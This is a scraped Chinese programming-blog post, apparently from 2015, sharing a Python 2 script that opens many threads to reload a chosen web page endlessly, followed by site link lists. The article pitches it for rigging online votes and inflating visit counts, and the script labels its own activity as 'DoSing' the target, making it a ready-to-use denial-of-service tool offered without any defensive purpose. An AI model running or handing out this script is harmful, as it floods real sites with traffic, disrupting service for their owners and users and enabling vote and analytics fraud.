python使用多线程不断刷新网页的方法


Posted in Python onMarch 31, 2015

本文实例讲述了python使用多线程不断刷新网页的方法。分享给大家供大家参考。具体如下:

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread
import urllib2
import sys
import time
def usage():
  print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'
  sys.exit()
def reloader(numthread):
  url = sys.argv[1]
  numreloads = 0
  while True:
    try:
      urllib2.urlopen(url)
      numreloads = numreloads + 1
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')
def splash():
  print 'welcome to https://3water.com/codes '
if len(sys.argv) < 3:
  usage()
if __name__ == '__main__':
  splash()
  print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'
  for reloadspawn in range(0, int(sys.argv[2])):
    thread.start_new_thread(reloader, (reloadspawn,))
  sys.stdout.write('')
  dosind = ['-', '\\', '|', '/']
  dosstat = 0
  while True:
    try:
      sys.stdout.write('\r' + dosind[dosstat % 4] + ' DoSing...')
      sys.stdout.flush()
      dosstat = dosstat + 1
      time.sleep(0.25)
    except KeyboardInterrupt:
      sys.exit('\nProcess aborted.')

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
python创建关联数组(字典)的方法
May 04 Python
python登录豆瓣并发帖的方法
Jul 08 Python
深入浅析ImageMagick命令执行漏洞
Oct 11 Python
python 接口_从协议到抽象基类详解
Aug 24 Python
解决Tensorflow安装成功,但在导入时报错的问题
Jun 13 Python
python调用百度REST API实现语音识别
Aug 30 Python
python性能测量工具cProfile使用解析
Sep 26 Python
在Python中使用filter去除列表中值为假及空字符串的例子
Nov 18 Python
python 读取更新中的log 或其它文本方式
Dec 24 Python
python开发实例之python使用Websocket库开发简单聊天工具实例详解(python+Websocket+JS)
Mar 18 Python
Python Django中的STATIC_URL 设置和使用方式
Mar 27 Python
Python+unittest+DDT实现数据驱动测试
Nov 30 Python
Python新手实现2048小游戏
Mar 31 #Python
举例介绍Python中的25个隐藏特性
Mar 30 #Python
在Python的循环体中使用else语句的方法
Mar 30 #Python
python实现2048小游戏
Mar 30 #Python
利用一个简单的例子窥探CPython内核的运行机制
Mar 30 #Python
30分钟搭建Python的Flask框架并在上面编写第一个应用
Mar 30 #Python
编写同时兼容Python2.x与Python3.x版本的代码的几个示例
Mar 30 #Python
You might like
PHP表单递交控件名称含有点号(.)会被转化为下划线(_)的处理方法
2013/01/06 PHP
深入file_get_contents与curl函数的详解
2013/06/25 PHP
在PHP中使用redis
2013/11/04 PHP
PHP基于php_imagick_st-Q8.dll实现JPG合成GIF图片的方法
2014/07/11 PHP
CI框架入门示例之数据库取数据完整实现方法
2014/11/05 PHP
PHP超全局数组(Superglobals)介绍
2015/07/01 PHP
关于php微信订阅号开发之token验证后自动发送消息给订阅号但是没有消息返回的问题
2015/12/21 PHP
php使用redis的几种常见操作方式和用法示例
2020/02/20 PHP
Thinkphp5框架中引入Markdown编辑器操作示例
2020/06/03 PHP
jQuery 获取、设置HTML或TEXT内容的两种方法
2014/05/23 Javascript
JS解析XML文件和XML字符串详解
2015/04/17 Javascript
手机开发必备技巧:javascript及CSS功能代码分享
2015/05/25 Javascript
javascript手风琴下拉菜单实现代码
2015/11/12 Javascript
基于d3.js实现实时刷新的折线图
2016/08/03 Javascript
AngularJS 实现点击按钮获取验证码功能实例代码
2017/07/13 Javascript
Vue中this.$router.push参数获取方法
2018/02/27 Javascript
原生JS实现$.param() 函数的方法
2018/08/10 Javascript
轻量级富文本编辑器wangEditor结合vue使用方法示例
2018/10/10 Javascript
命令行批量截图Node脚本示例代码
2019/01/25 Javascript
Vue源码之关于vm.$delete()/Vue.use()内部原理详解
2019/05/01 Javascript
Vue数组响应式操作及高阶函数使用代码详解
2020/08/01 Javascript
基于Ionic3实现选项卡切换并重新加载echarts
2020/09/24 Javascript
[02:27]2018DOTA2亚洲邀请赛趣味视频之钓鱼大赛 谁是垂钓冠军?
2018/04/05 DOTA
[02:23]1个至宝=115个英雄特效 最“绿”至宝拉比克“魔导师密钥”登场
2018/12/29 DOTA
推荐下python/ironpython:从入门到精通
2007/10/02 Python
Python基于聚类算法实现密度聚类(DBSCAN)计算【测试可用】
2018/12/26 Python
python文本数据处理学习笔记详解
2019/06/17 Python
python 字典的打印实现
2019/09/26 Python
热能动力工程毕业生自荐信
2013/11/07 职场文书
2014年保险公司工作总结
2014/11/22 职场文书
超市工作总结范文2014
2014/12/19 职场文书
2015年政府采购工作总结
2015/05/21 职场文书
地雷战观后感
2015/06/09 职场文书
文明上网主题班会
2015/08/14 职场文书
MySQL的安装与配置详细教程
2021/06/26 MySQL
mybatis 获取更新记录的id
2022/05/20 Java/Android